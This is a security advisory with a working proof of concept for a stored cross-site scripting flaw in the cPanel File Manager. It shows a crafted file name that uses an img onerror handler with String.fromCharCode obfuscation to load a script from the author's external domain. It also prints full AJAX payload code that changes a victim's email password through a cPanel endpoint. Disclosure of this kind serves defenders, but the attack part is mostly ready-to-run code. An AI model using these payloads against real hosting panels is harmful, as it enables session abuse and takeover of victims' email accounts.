Cpanel File Manager XSS Vulnerability

Synopsis
-------------
Cpanel (www.cpanel.net) has two file manager application, standard and legacy one to manage files. Both of them are vulnerable to XSS attack. File name is presented unescaped so that an attacker can craft malicious file name to execute script on behalf of victims.

Version
-----------
this vulnerability was found on cpanel version 11.24.4-CURRENT
exploit here is already tested on: Firefox 3.0.7 and IE 8.0

Details
----------
legacy file manager (lfm) is more vulnerable than the standard one. In legacy file manager, only by viewing list of files, attacker code can be executed. In standard file manager, list of file is well escaped, but attacker still can inject script when victims click on any of these task: delete, copy, move, rename, edit, change permissions, extract, compress on file with malicious name.

to make browser load and execute external script, attacker can't directly use <script> tag because slash character is forbidden in file name. To overcome that restriction, attacker can inject script via <img> tag onError attribute and set src attribute with empty string to force error event always triggered. the script injected via <img> tag generate <script> tag to execute external script by using document.write() function.

PoC exploit
-----------------
malicious file name:

<img src='' onerror='document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,105,108,109,117,104,97,99,107,105,110,103,46,99,111,109,47,120,46,106,115,62,60,47,115,99,114,105,112,116,62))'>

that <img> generate this html tag to make browser load and execute external script:

<script src=http://ilmuhacking.com/x.js></script>

that poc exploit works for both file manager application (standard and legacy).

PoC payload: change victim email password
----------------------------------------------------------------
by making POST request using ajax functions to /frontend/x3/mail/dopasswdpop.html attacker can change one of victim email password. the script below is an example payload that executed from external url.

----------------
var http_request = false;
function makePOSTRequest(url, parameters) {
http_request = false;
if (window.XMLHttpRequest) { // Mozilla, Safari,...
 http_request = new XMLHttpRequest();
 if (http_request.overrideMimeType) {
    http_request.overrideMimeType('text/html');
 }
} else if (window.ActiveXObject) { // IE
 try {
    http_request = new ActiveXObject("Msxml2.XMLHTTP");
 } catch (e) {
    try {
       http_request = new ActiveXObject("Microsoft.XMLHTTP");
    } catch (e) {}
 }
}
if (!http_request) {
 alert('Cannot create XMLHTTP instance');
 return false;
}
http_request.onreadystatechange = alertContents;
http_request.open('POST', url, true);
http_request.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http_request.setRequestHeader("Content-length", parameters.length);
http_request.setRequestHeader("Connection", "close");
http_request.send(parameters);
}
function alertContents() {
if (http_request.readyState == 4) {
 if (http_request.status == 200) {
    result = http_request.responseText;
    alert(result);
 } else {
    alert('There was a problem with the request.');
 }
}
}
var poststr = "quota=" + encodeURI("250") + "&password2=" + encodeURI("newpassword") +
      "&password=" + encodeURI("newpassword") + "&email=" + encodeURI("testemail") +
      "&domain=" + encodeURI("ilmuhacking.com");
makePOSTRequest('/frontend/x3/mail/dopasswdpop.html', poststr);

CREDITS
------------------
This vulnerability has been discovered by Rizki Wicaksono ( http://www.ilmuhacking.com ) 
The Indonesian  article at http://www.ilmuhacking.com/web-security/cpanel-file-manager-xss-attack/ gives more detail about this vulnerability.